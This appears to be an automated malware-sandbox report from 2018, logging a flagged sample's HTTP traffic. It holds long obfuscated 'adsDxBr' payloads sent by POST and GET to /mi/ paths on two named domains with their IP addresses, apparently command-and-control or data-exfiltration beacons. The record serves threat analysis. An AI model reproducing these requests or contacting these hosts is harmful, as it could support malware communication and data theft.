VuGQ3ZGjbnbM4OsZkx3WSSHxXYJlBuyMOPOJPB426cCW2y(F2d1-Ww(1pYjRzPhCIzgvh7T2fPLP1BgztgqlrVK_kDjVCfAEEHeLmrbgmzzQKYGUS738J8FDNhCDtNFbfZpO6XU03Vqgt2bxzeNQtsO4PwtZY5veJh~nR0ylcPmvZ5SGeSlFTsTSDs5mvyGUFO3hG6mc4PFoqOeYkap_WIuD(rI-6amtSiuAyWaL(DtJEklvHCEaW8kVmKrQZvsqbjexfckGwr4z~bvB9-VoCSAF(SJ1pEgQ8x3FbNOm0zb6nNPw4XHtt6SxN9gPU3WT7ENj8VCF4SARv5hgYv24emwsaXWoBfUYk2iHtKCfFdjIt2H8R46Mq9w-YLGhKwskCbq6ERH0Zqzw4s660MBCJJBZ7DxjhvL2gjJboQ~NSOHCcr2tVtKc1p0m5vFJb92RJkKQXS5rPkcoZ1f9NHi-HFRKu8FtZ_J_VSQiemaGKTzL5a0-N0ChCCHqer9nQJPkqnzUImopJbHDzm2s4HhrdTqGPyZvvd5M4IRiqLgd334WEE1RSrFLM1sy1nT-zuzJG9~hMtE1CAV3RMzl88qCLOfSmZRl7YTurkl2TChsOFtS8nquy8B-82VtLI71fiyNsdzRh4yiFLM9kEb9f_QQA8eRt58r6RoRndU2XQS6khee0DRa0VOkT-n3b3vra2X_AuSVEQX1Jc5RJVgKPwpGtTPb2s3Jhs0rASz4vi~0X49v9Nv2Df5vhAJKRrzIILC4hCyYb4LGWPPt1gl08h(C8hTnUhTwceSmCiY3~cF2zJY7ko4ASCVsikyu7riq2mcZQFPIvzgN2L62T4OXP3JlPCbZ6xgiBL6f5KhKEYxdy75ed8gRACB5CXYaIQby9l~0WGU10O4EkBn421rjlFsUvk2ij-3YurjJ2V4X9o~J2dyPF13ejx6h1oDK3PboM44r2bMVp0TM7m1Jtq1lvPELaoU9WWlrhKDsSRZhwgr5s85Mec0oB3hBQ-CxgJKzPeW_vXZdYQZhM5xkyQ4OueDsewqyDvsP2ituRe1A~oO3HflE6rzRpvWB(xnd2oRkpPEA01nX4DKTxdtWFDR6fODMB7ZwX6gYb9wxS65gnRue2Du_PrG-xOmDmURCXNxdt4ccUNN4wDk-GTAIvKbrtDRt72L34GOIQt(PX60eUqpazrvcsMj4aQlj1gW6HjGveVzWCoHdx1EscXAYQTln7qR9tO5GDgSTi2gA~ui35DN4s28dUJbm(EDssr8c8QM2yTITS7oipRvtjGv9XVJZBoKQzBnbf4Nb6xaQ0J2jtYPSnVrF0XZo8GzrBNIQKu7vy1vORLR1\x00VlxAO\x00\x00

http://www.body-nayami.net/mi/
  • Hostname: www.body-nayami.net
  • IP Address: 183.90.228.39
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.body-nayami.net
Connection: close
Content-Length: 57645
Cache-Control: no-cache
Origin: http://www.body-nayami.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.body-nayami.net/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Etng8c7K2VNMlYzm812SjaG7UuBqj089FEs3~jH6qc8msR5t3LEhF8cGo9sdTpKU5vkkd467McXMGimWH3ZmHVfmra1YCcr0tJwSkbF8u_M-3FnZwFaFfukHV9MOizShnpwRgrei4qQgUBm2m9~5(flcJ4EaU8kNbsEQJx7lhZZLNQFcXkLKiW20SBtvZMqxR_60vArv4nnn2oOq1EhbVVUAkyLnxbJJQa6Uw3WcLL0TB9SnZOZuMyvkjkFkf2dkt6(fjfPI7u~3VuV0sO6O5K5s9J9X(j0YXjUZFg1LHShfp4~vb9DcFKfwpW~YKuZTxBbOn7GVHcgnTmaGVJu9IVgF5Qg3ZNBlK45vHOUT9K3plNnv4VpuOcxoEKWkzp3cttIKJFPiT70zfmUYXq08mh3MVHJ8vMEP6fdUJ-CyFYh00ImWNWczi_aN4oDom8NYTyeaxA~HTNV4t9N48Aee0zNSOQd3EKjQwamVBz5WEP(mc07mfyPgyhzSJBP26dHwn-9AxN7BQ2NdyFJKJnfNNeHOFOGBlG1aBtjqelnBD7BAPpwdi5bxnEelojfjP3dGrBWBtFVVYam15xoOFLE7av7pXEZjz7gq5OCNXIBWXivoBwFwqznlMfy50kvbLL8Y2DeGLZ~pZukwpYhbk2YuHe~g9rqtg6j-7_5P9DUTztEuCkqfitzS1t(CQtQxCCJTAEQcrzhLeQbeth2sT36cDO1cEmpe1hiLiXGJuxoOnDvxrL5DdUA0kn38j_8O(eaHKUS6ikVE9iax86xWQMVoYcIXP9drXPGbWj1syKUw4V9rvJwp56Vt08fy3F66(bHQi3VaTkI6RcuAyKumO2PXu9Ug2BKTIz7GPsRnP9qiWeGNEBsm8tLV5RGc9547cBKvupTG1eE8dCQoquHUeuSo6hMYhCTkrge2jy2uA_kmdkajtK25mnqVb9rSRJ3oJYVfcj2MzsBNKZdN12ZPzS6Fuj2nz-Y7hNWhFgNPZI3_Oy~KQVLmeP7HXffVMBJVRN7QP89ajh~RJ9KLVYGKwfhMr9eChKsBXNOjmckV9onFeRD4wgijwygkGF9BAUl6Y-VIqZiYU6Q3eCGUeIs6kb8f4Z(g7rA0GVUP(T4Opl0Q~CXFdLCm6WrDpcC34AHdy72sGcMBWR6l32FQqlPBzT4lkPhCfeStRFcxdnegEoA_k0SHtpGKVNHl(n7RZ4iQrp9mf4yPfTQZZ76sGR(hcovP3eauy5JpIapMzDMemtzPg2wgp06iTM(1V7zia8ysupwB1o5lUuqWdjOEC1hpFy0gS12sGAr-bTpS4t9mW-xMQ11XXADkNCjRgtVcKHaQbn~HV8MfZo7myj7uNGd-Rquq8kyF1V1fRhuJFCMzv-oI~cJq~odL7EJsEhRMHvwCNGIn(zLtksiZKZP2JcF9Bg9uec(XwfvBQ_Plv5Nd~JvSp1BIfA0gIUl8(nqd8oVqkDBtLIjxSmbHuuHLgpzeGJccmFz8a448B9C12tcg9wYlrd8iCH~YuxWsyGtzjFD1XML4NSa-YBLUBca9PlT1Mvx8E0xnPUsXjC(5j_GGqP8jAUL_uCXqeI4lh-D3BfYM0QtZAdrXXKbPqzK6VuPGI6ymszAjiXPI7mGPfj2obvXuCR8Zv5FU0o5ehtY8YBUxohuR(qWCwGQ3LXSJkG8Cr72nY5e5JHJ_fSv47Ac8BKC-qpJNEZ5e6OtFBewfV3dMTkhnDTqr(G2wPEkc9okUiB2-yEfDgDkMvBrHgZPo(5292gkF67Pu6PbBBAmmiAy83bzG~sPdI6xN0c9o9m3N6k9F06puve8WcNkDRXcK2ZH0GixkmnjXv9VNJ4VCdDNkeuu0m7a7KZ64(1xdd2tmLZ922z4YyuvTThq4U7k-nRZFR7Ygvo26HbJ0hrzzoNm_xSP8ifY99f9h(HD67ASGytlWQxlmY_7tG8AuabFBddoSTbtthXiY8S~tL7Snw4e6jVAwIZVQo7QGb6N34DwoHXIF67i0ris673zk2k61UdzOTLcrWcM0z6D5tvfASBtT30esYSyOYFG3PMWl~U1_a2kfHzNyqdVbpOZYNkCJl0w-k7zX6XpflWUdAY(JpFuIr5suqyZG~CsCMvZiuSjF5GafIFUdd_ucjCzpXqlAoDStm-Kut5OZwWbyuxAK02n_a9FUBs2HpRH_ZNgapzqD7CvVOC~K9RoeEqWKRmclbpsYQYyNLhGyvrA2d6ee8I7-AhWnjUBSwqKhl6smIAWZX3WSrWc0DHN4u3rTA68OAk8xeTWxVWB8URUKFIuiRd2OGb8jDYLnZhhacEubk8XRr3Ya64nfPwzY9XZSadn4yWctF51TP5f0wKCyWiWJO1zSFCjotB5jVS~uq4MLGOPaPnMp8Q~Osf~t~sJOpi(x

http://www.gainstronghealthymuscles.com/mi/?adsDxBr=ILlQjTbxTUaAtrlmhoTMoOiYquppOO5xznfiUyzFT8mqLiWv50Q+ifLpnF8auLsjNEGIAlBe&00D=qDKx_Li0IP4DEJa
  • Hostname: www.gainstronghealthymuscles.com
  • IP Address: 104.28.6.158
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=ILlQjTbxTUaAtrlmhoTMoOiYquppOO5xznfiUyzFT8mqLiWv50Q+ifLpnF8auLsjNEGIAlBe&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.gainstronghealthymuscles.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.gainstronghealthymuscles.com/mi/
  • Hostname: www.gainstronghealthymuscles.com
  • IP Address: 104.28.6.158
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.gainstronghealthymuscles.com
Connection: close
Content-Length: 2201
Cache-Control: no-cache
Origin: http://www.gainstronghealthymuscles.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.gainstronghealthymuscles.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Appq922ZCle_7txihvap4bqqguh_NfxMgwysRnaFeN2MAzuf6DEFy4C5mhUYvZQbWHKdMAdRJtWMkPZDNgV4p1P_E1jJfvMl8reDGYd5pjXZUn2QaEbeuJMTZmjjP47S15nmzTjVyoWMjzCHSywWVWeYQ_93tb~5T1IAEkuzc0dCHtLMlRK-zB4B7WWmuN7c(1V377~cSsRFe0GFLBoqv7(VlHgU~qzC5ZBWv5JYzoGWtgyan3CMBMMpeEpOwB1VbBFfNj5ZGGxpsbsc69t9wf8C2rIklFATwHNWB_TYUN72eMpANDvSeHcy4IQ0HQ2TWG7JfsUzm7tAE8ApV3Bqu0fk9QTEEehXo0hIlSTBuL24yKxAD6NbXp43mQkLdvbB06bAeDV4OanBWHifchoaQ67iRSl724Z5HO529LLPlPRxYKNAEFYN(69e89UvBgQK5nDKxnFY0fibj5ErFXzxqJtTsD29cNk_qhKX8Ryr1PUNY2f8Vaon9luHnU0luBiOZg3iC26F~RdgaMowgPP6pMTzD7Uh3Vn80RXYRpYuQCeesCoswNMGQ1LBptS2C0SzlEBwIessktJQDFcR0yRG6sYEeeEpQGKEwMVc8sMSwFrctnK0XKFXwhuaLO4kbhtheHvBJd31my2MWXA53xv3vpSsdin5o32yOzSO3nju1-egGMuObEkgi1TLIxVSPZS5j2iDlzwlZJI-nr4fp7liCJ1FGXhOFPp00-1wpdCgbfG_zOiDM2O2dpXSTx9ieOoW0rgaK8DjWFgSlfe-ABRoEdmOFHO49802g6(pYRcE~RKKOAJL0-hnOR6h3xoIUUXrZB5JEVNsyV3uQM4HAI8kz10DJH~JnMR1UqtmbmfDhw6hxI6-6LM24P8Sj9(CC-oZlSCf2uU7u6rPfYy8AyrOrgAdlFyf5yyKNaz9UyW-VOG_Z9ylajMSfol6bw(a28ftL-Hrn7mHy-0oMeTJMkJ8GKUyHNvEo9a5t7nIJTgzWvVvH81Ifcf-tr8350QAYiFxtDx_flqtaNcHEm1UDxYieXT67axc9QUoydvD4ZnoyeaqRjRzlHeiqt~1B1pVIE9qsLEkjigJvlsc3IdHgpmBzC5FoMNTx29xejjVfBaXHv0vFaAszdB_4gGQScm0pPoYmPfWtWc5HIOnuWppdKfe95Aoj3rd6V5koOwe~9roRgCQ5E3p8vYRMKXTEAhKPwJrFZWPFgS-k2WLv7A3b3GWBdSeCt0ZVM5UsWWrUN3R7gCGJPUNleMbXgZfxnJ23rQ9kvGJGc~kU_h1shQGWAJrAAU2wB2xjiQv0ZWUzhpCsM7zndgt1Kwn7jqWH8JUG4UFTsPyuRVqyiKChbNE8G23ZqZ6uNn17kVXxVPWemiuGIXRlcBo~Yge15ECayU-JI(t7mgrKCE86VFPkQSajX2gy96tDJWSpbjx6dgg2dzCI1n85niKv3mGq7EDovrMxSS1(AkAaapm6IVqzgxBAWtRkyukuMK2dlnbfrd2QKKeET2fERB5asqhFqz1Xq2S4OFUdOrP(tK8MYIY3x9kfi5gS4Z6aLHFZzH5dK6FKTNpa3hs98gb(4eOM6ucsVOzoLz6m3SyUAtcShyiCa7RFPgyjvzFNcY9e_XRQ_pLtMtNFSSXafvQnmYoHDIKjdgD(a~mM0UrP1vArytQvuRlTT3oHVS30P6c0pX-Abqamtk-jBaCrHd2t4Kb0_rb3T~Lj8(z3Mlp(giCjVmFdx(of7qucUrnbb9O3t16Tti_Tv08StggDy9Ug9~5M9GxmyU1BSqeDL1zvcATKDLiywKJqiLBNdZbXyzBrCcERUuGNDP-LTlGwvnswEZB1pC2NqEzCMbJkAUxqiH8w0dkDCHiXfdtHoqwUkjdogHe066d~wplluiKjz5MCTLzIOSrHJYmn6lKQzraBBEvSFBRHx6dUI(qE0MzxvdT9TgxpyBh7tlthHHIQUulHRW19_fN8bFugf(p1STQ0El5Vc8GQlqTkcoMjlcG~HIV5gLfeZbBEGn5jDO0TcLTyz45ZzXyFGBOaZi5(xpP7-LjpHtqqOcHgEabJLKHCPSanrMoulXTEHnW4UE8Wvhp1CXZEiNVJSftmXdJZAKAwE4PlCmpv80b1LXCio4lExCubZOBzl~9f5XI(b5Inzsw(zBD7Q3-p1Z5mk4JR1Ac9zweTeoF\x00\x00\x00\x00\x00\x00\x00\x00

http://www.gainstronghealthymuscles.com/mi/
  • Hostname: www.gainstronghealthymuscles.com
  • IP Address: 104.28.6.158
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.gainstronghealthymuscles.com
Connection: close
Content-Length: 57645
Cache-Control: no-cache
Origin: http://www.gainstronghealthymuscles.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.gainstronghealthymuscles.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=Appq90WKFVqutfpdluKD2aa9r-llPP40tDqORnKJH_eSKHSftVQO~4C6ghUf~JcVbwOjMBo0JtePxepCPGAgvVD1IRLQbrkm8JifQK95m2DbQ1uHXVXSydoRNXLqGobz0aKvkmWblMa59GuvAQQKIX6bYelxt4KDW3hVLHekf1Z2VvCxlUut2Bo8wxLenbHM9G538K2MG_JHRXeNLQoD7buP1ScfwaTB17oIh4drjd6s4CbtmX3BdN8EXkRXwSxhPixtSXhiEWV15f1r29Z1wusk~Nsk(EgV3E0ZcPTzYsTyRspRND7acws2yoQ6ZjTPDWjRRIYjnK9AFeY6cVplt0e80gDTTZJJo0xUnibBvJC4h6hDF6NbCZ41mQkTdvbo047cfDd4H6rfYUqJd0hnb67UQQNty50sHJ1u8qnPm_1ydolMFUYO3Yh3nO1oBgU52CyhgW5N1fiaotk4UCfmwocXxwGWMpEV7BOT8zyn0MRMUX7sRv4R9X2gxkItgVyDYDLyETbl4S9uad5RsMDu18~HLcM7wU3T(AfEQ5t1IxrHoiU75e1HUQqHyO~wSGqyjzM4ReFmntEIHw1h0RsRsqt1a-ZVYj~qndtg5L4z0ij9k17rMaoBgXaWe8McaDxoSCTDGef4iSW9agUxrg7XweGiPBSspyzaAwCl9mfbjtTYEoXNQEIA1nbxYzcuO8OZq3X3p084bblMgfxqlo5JF5MvaXxWFcxd0-t8otGgYe2_3J~AMXOxEJXQMh89Be0g0pQeYsPjBHIckc2KWGZfbNmGDGSjqMUPg_uoZRh710WJYRoC1OhgP1yzxxkRa0mOMhsXTUBG0XOjWbVsLIYj31UtJnChtcxSBaxofV3TzSKl9MCE86UAlYw5qcXZFrRTinmbgOgG8dTQXJSCAQKrpjFLgCO-6kmqaK6tUSDZbfqpQYCxazQaJtB9bAnO2djhcd~7h6yr~uA7NfP5In0aEbcZHtbynYP3npuFLhR3FuNOK88BAtDVjINY7RB7RjM01htPX2i3cKVnfVVCImAaPR(O9a19oSoE8KCI0Lnd~t2TWS5huyfNvOiTIHEFEFktkcQlrwAusE092cBVkMWl1BZNuYVynFl7eiz3egOXAf8vFJ4s~4JKlB6GSLnRg-cFw6PQgQocAeCqqU9wTLmt2LF502(ItCZ5pe4s2vbPRiiQ5nz44P9DNO(6AhYVJhpwOPu9Nw2XpnmBt5g9UVapUfiKO48ia8pN31jQXOPk7wfzEOMcr4ZxKANr92xKxr1tmMObOPijB4kvqT8EAjVjXyEclTqosg83xtSTrj5hqvLAv_kKiPsxljm7ENpfPq4hZ-aO1hRssQ3z~KJQoS6fHZ9bwrDR42Rp7mfxdEjqHpLn9_9_j-E50YMbZS1_Fbqv(XkSAhEB31wW7AWdkzKx5tmlfbTN8Lf88scI9sP6LjiRskmxuhC8t7Fdi-CV5QC1(A8cOO5J77Bwzxx4XjYBtXyprPSOcgP_XLJsXoP_CzOxXzoDT9~pDu3lA77zurlTI8X1vK2tMqBx8F9kdTZBQNx3aqzZdD3HIf~RBzskayRr9YlFyIazD67EqUvS~6WOh3atQxlKO0LxcZDRMaJ168XRD-cNd8TdKtNco_BnFimDStqPmH4wZCMQytITupGjI0ADNVTujwxU9s5qQzL9IUCK2_6a7oDfBrmImoIDhSSBrCZ154SE0NXr7yP3i_3VgflJ5D6OvG2aWSGUOr7tRA7PeelW3O8ZSKzIRtRCTY95PEl2vrCsIOyK0TMsHg6SWMEPrdgEIBXq~3KM4kPaYJ4yVgydqks6SVHtEBnMegAY0ZqdxE1AsJf_RY1lNYrGvVY5vlD_3FBkGgPpX_h_WbqcXk~pn0r-zL3q4Txe3fi1rg5NCXvDVeSZBsMyyIcvbS3EPh8RZwtgOjibLoHqOyNS6_1u4QMasy4g4Jwbjk7NWXOnJGen4vLi8LcnxtrG3QfT7jRnMb9OYlu7nZI72VUuuV9y5kWECrf8VG786jGBRuXNymF0YQqDDxN2YNrOwU5i0OPfoGJlns0poEuYD5aSBY3_w6titAGSOhTkySUPef9O9gHZF09AaiyV5mVRIDv0xQxnrACcs6Mn(rL1s5cXIWXCdZyn8wH9ebv5pcNZnU57tDZXmGyfpw4UtB0XY3lGpHMsb-JXaDAjvKrNgyYe8A(LicgBhaG-sSWorMe0d2CnsIBE9FrTOde25YDQDiBsQJY2H-TQyaLuA49QU_1f6fs-YWh47j47eVr2VGzIGK4g8hT86pmRpgaLQ1RecetOqO27PER5sI2BpMxepp4WwGOiP-zOservcgVyGAv1nOHCKw8SHTP_H19il

#infosec #automation

TheSystem Itself @ 2018-04-12 08:51:12

Detected family: #Malicious

TheSystem Itself @ 2018-04-12 08:56:02